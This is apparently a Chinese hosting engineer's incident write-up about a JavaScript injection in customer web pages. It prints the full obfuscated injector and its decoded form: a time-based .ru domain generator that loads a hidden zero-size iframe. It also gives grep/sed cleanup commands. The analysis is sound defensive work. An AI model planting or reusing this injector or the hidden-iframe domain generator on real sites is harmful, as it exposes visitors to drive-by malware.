我們的服務器又出入侵事故了。有客戶的 html 網頁底部被插入了一段 js 腳本,導致訪客打開網頁時被殺毒軟件警告網站上有惡意代碼。在黑鏈 SEO 中這是常見的手法,但奇特的地方就在於我們這次捕獲到的代碼,會根據當前的時間戳生成一個(偽)隨機域名,然後定時訪問。看上去目的並非是 SEO。

一、攻擊分析

被插入的 javascript 在此——

<script lang="javascript">
/*km0ae9gr6m*/
s = "";
try {
    q = document.createElement("p");
    q.appendChild("123" + n);
} catch (qw) {
    h = -016 / 7;
    try {
        a = prototype;
    } catch (zxc) {
        e = window["e" + "va" + "l"];
        n = "204.351.440.495.232.315.444.550.64.330.404.600.232.246.388.550.200.333.436.390.234.327.392.505.228.120.164.615.26.30.128.160.64.96.472.485.228.96.416.525.64.183.128.580.208.315.460.230.230.303.404.500.64.141.128.580.208.315.460.230.162.177.52.50.64.96.128.160.236.291.456.160.216.333.128.305.64.348.416.525.230.138.460.505.202.300.128.185.64.348.416.525.230.138.324.295.26.30.128.160.64.96.472.485.228.96.464.505.230.348.128.305.64.348.416.525.230.138.260.160.84.96.432.555.64.135.128.580.208.315.460.230.164.96.168.160.208.315.236.65.20.96.128.160.64.315.408.200.232.303.460.580.64.186.128.240.82.369.52.50.64.96.128.160.64.96.128.160.232.312.420.575.92.345.404.505.200.96.244.160.232.303.460.580.118.39.40.160.64.96.128.625.64.303.432.575.202.96.492.65.20.96.128.160.64.96.128.160.64.348.416.525.230.138.460.505.202.300.128.305.64.348.404.575.232.96.172.160.232.312.420.575.92.231.236.65.20.96.128.160.64.375.52.50.64.96.128.160.228.303.464.585.228.330.128.200.232.312.420.575.92.345.404.505.200.96.168.160.232.312.420.575.92.333.440.505.158.354.404.570.154.123.236.65.20.375.52.50.26.30.408.585.220.297.464.525.222.330.128.410.194.330.400.555.218.234.468.545.196.303.456.355.202.330.404.570.194.348.444.570.80.351.440.525.240.123.492.65.20.96.128.160.64.354.388.570.64.300.128.305.64.330.404.595.64.204.388.580.202.120.468.550.210.360.168.245.96.144.192.205.118.39.40.160.64.96.128.590.194.342.128.575.64.183.128.500.92.309.404.580.144.333.468.570.230.120.164.160.124.96.196.250.64.189.128.245.64.174.128.240.118.39.40.160.64.96.128.580.208.315.460.230.230.303.404.500.64.183.128.250.102.156.212.270.110.168.228.240.98.96.172.160.80.300.184.515.202.348.308.555.220.348.416.200.82.96.168.160.96.360.280.350.140.210.280.350.82.96.172.160.80.300.184.515.202.348.272.485.232.303.160.205.64.126.128.240.240.210.280.350.140.123.172.160.80.231.388.580.208.138.456.555.234.330.400.200.230.96.168.160.96.360.280.350.140.123.164.295.26.30.128.160.64.96.464.520.210.345.184.325.64.183.128.260.112.150.220.245.118.39.40.160.64.96.128.580.208.315.460.230.154.96.244.160.100.147.208.275.104.168.204.270.104.165.236.65.20.96.128.160.64.348.416.525.230.138.324.160.122.96.464.520.210.345.184.385.64.141.128.580.208.315.460.230.130.177.52.50.64.96.128.160.232.312.420.575.92.246.128.305.64.348.416.525.230.138.308.160.74.96.464.520.210.345.184.325.118.39.40.160.64.96.128.580.208.315.460.230.222.330.404.395.236.303.456.385.64.183.128.245.92.144.128.235.64.348.416.525.230.138.308.295.26.30.128.160.64.96.464.520.210.345.184.550.202.360.464.160.122.96.440.505.240.348.328.485.220.300.444.545.156.351.436.490.202.342.236.65.20.96.128.160.64.342.404.580.234.342.440.160.232.312.420.575.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.297.456.505.194.348.404.410.194.330.400.555.218.234.468.545.196.303.456.200.228.132.128.385.210.330.176.160.154.291.480.205.246.39.40.160.64.96.128.570.202.348.468.570.220.96.308.485.232.312.184.570.222.351.440.500.80.120.308.485.240.135.308.525.220.123.128.210.64.342.184.550.202.360.464.200.82.96.172.160.154.315.440.205.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.309.404.550.202.342.388.580.202.240.460.505.234.300.444.410.194.330.400.555.218.249.464.570.210.330.412.200.234.330.420.600.88.96.432.505.220.309.464.520.88.96.488.555.220.303.164.615.26.30.128.160.64.96.472.485.228.96.456.485.220.300.128.305.64.330.404.595.64.246.388.550.200.333.436.390.234.327.392.505.228.213.404.550.202.342.388.580.222.342.160.585.220.315.480.205.118.39.40.160.64.96.128.590.194.342.128.540.202.348.464.505.228.345.128.305.64.273.156.485.78.132.156.490.78.132.156.495.78.132.156.500.78.132.156.505.78.132.156.510.78.132.156.515.78.132.156.520.78.132.156.525.78.132.156.530.78.132.156.535.78.132.156.540.78.132.156.545.78.132.156.550.78.132.156.555.78.132.156.560.78.132.156.565.78.132.156.570.78.132.156.575.78.132.156.580.78.132.156.585.78.132.156.590.78.132.156.595.78.132.156.600.78.132.156.605.78.132.156.610.78.279.236.65.20.96.128.160.64.354.388.570.64.345.464.570.64.183.128.195.78.177.52.50.64.96.128.160.204.333.456.200.236.291.456.160.210.96.244.160.96.177.128.525.64.180.128.540.202.330.412.580.208.177.128.525.64.129.172.160.82.369.52.50.64.96.128.160.64.96.128.160.230.348.456.160.86.183.128.540.202.348.464.505.228.345.364.495.228.303.388.580.202.246.388.550.200.333.436.390.234.327.392.505.228.120.456.485.220.300.176.160.96.132.128.540.202.348.464.505.228.345.184.540.202.330.412.580.208.96.180.160.98.123.372.295.26.30.128.160.64.96.500.65.20.96.128.160.64.342.404.580.234.342.440.160.230.348.456.160.86.96.156.230.78.96.172.160.244.333.440.505.118.39.40.625.26.30.52.50.230.303.464.420.210.327.404.555.234.348.160.510.234.330.396.580.210.333.440.200.82.369.52.50.64.96.128.160.232.342.484.615.26.30.128.160.64.96.128.160.64.96.420.510.80.348.484.560.202.333.408.160.210.306.456.485.218.303.348.485.230.201.456.505.194.348.404.500.64.183.244.160.68.351.440.500.202.306.420.550.202.300.136.205.246.39.40.160.64.96.128.160.64.96.128.160.64.96.128.525.204.342.388.545.202.261.388.575.134.342.404.485.232.303.400.160.122.96.464.570.234.303.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.354.388.570.64.351.440.525.240.96.244.160.154.291.464.520.92.342.444.585.220.300.160.215.220.303.476.160.136.291.464.505.80.123.188.245.96.144.192.205.118.39.40.160.64.96.128.160.64.96.128.160.64.96.128.590.194.342.128.500.222.327.388.525.220.234.388.545.202.96.244.160.206.303.440.505.228.291.464.505.160.345.404.585.200.333.328.485.220.300.444.545.166.348.456.525.220.309.160.585.220.315.480.220.64.147.216.220.64.117.456.585.78.123.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.96.244.160.200.333.396.585.218.303.440.580.92.297.456.505.194.348.404.345.216.303.436.505.220.348.160.170.146.210.328.325.154.207.136.205.118.96.52.50.64.96.128.160.64.96.128.160.64.96.128.160.210.306.456.545.92.345.404.580.130.348.464.570.210.294.468.580.202.120.136.575.228.297.136.220.64.102.416.580.232.336.232.235.94.102.172.500.222.327.388.525.220.234.388.545.202.129.136.235.228.351.440.510.222.342.404.575.232.342.468.550.126.345.420.500.122.294.444.580.220.303.464.170.82.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.238.315.400.580.208.96.244.160.68.144.448.600.68.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.208.303.420.515.208.348.128.305.64.102.192.560.240.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.420.510.228.327.184.575.232.363.432.505.92.354.420.575.210.294.420.540.210.348.484.160.122.96.136.520.210.300.400.505.220.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.400.555.198.351.436.505.220.348.184.490.222.300.484.230.194.336.448.505.220.300.268.520.210.324.400.200.210.306.456.545.82.177.52.50.64.96.128.160.64.96.128.160.250.39.40.160.64.96.128.625.198.291.464.495.208.120.404.205.246.375.52.50.250.132.128.265.96.144.164.295".split(".");
        if (window.document) for (i = 6 - 2 - 1 - 2 - 1; - 1828 + i != 2 - 2; i++) {
            k = i;
            s = s + String.fromCharCode(n[k] / (i % (h * h) + 2));
        }
        console.log(s);
    }
} /*qhk6sa6g1c*/
</script>

運維拿到這段代碼的時候,都不知道它是要做什麼。在這裡不得不吐槽一下,為啥我們的運維都不懂代碼……我放到 Chrome 里 decode 出來,是這樣子的

function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}
 
function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = d.getHours() > 12 ? 1 : 0;
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}
 
function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}
 
function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}
setTimeout(function () {
    try {
        if (typeof iframeWasCreated == "undefined") {
            iframeWasCreated = true;
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'ru');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
        }
    } catch (e) {}
}, 500);

於是大意可知,它內置了一個隨機域名生成函數,有趣的事情。偽隨機數發生器基於 unix 時間戳,說它是“偽”隨機,是因為這並非真正意義上的隨機,我們可以根據時間計算出它所產生的結果。事實上,它最終每 12 個小時就會生成一個類似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 這樣的域名。

這並非有新意的黑客,之前有安全人員對惡意軟件下載的分析,攻擊者甚至使用了 twitter 消息作為種子來生成域名,這是真正的隨機,完全無法預料,也無從預警和封鎖。

話說回來,在這段代碼開始運作產生訪問流量之前,黑客有充足的時間註冊和配置域名,並掛上木馬鏈接。毫無疑問的是,如果 2012 真的不是世界末日,我們很容易預知到它即將產生什麼域名。於是寫段程序檢測一下,直至未來的 2012 年 8 月 7 日,有 89 個域名已經註冊,WHOIS 顯示 DNS 解析服務器在俄國。真正的黑客大國,老毛子名不虛傳。

網上搜了一下,很多國外服務商也遇到了這個問題,有人甚至觀測到一些服務器端的邏輯,比如根據訪問者 IP 進行 302 重定向的機制。

二、安全漏洞

更重要的問題是,惡意 js 代碼是怎麼注入到我們客戶的網頁上的呢?

通過查看日誌我們發現,捅簍子的是某著名後台管理系統的一個文件上傳漏洞,目前廠商已經給出修復方案。他們建議重置所有用戶的密碼……

三、擦屁股

這苦逼活,又是我的差事。花了一個小時,寫了兩句話,測試通過。

# check
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* > injeted_list.txt
 
# clean up
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* | xargs sed -i -e 's/\/\*km0ae9gr6m/\n&/g' -e 's/qhk6sa6g1c\ //&\n/g' -e '/km0ae9gr6m*/,/qhk6sa6g1c/d'

參考鏈接:
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html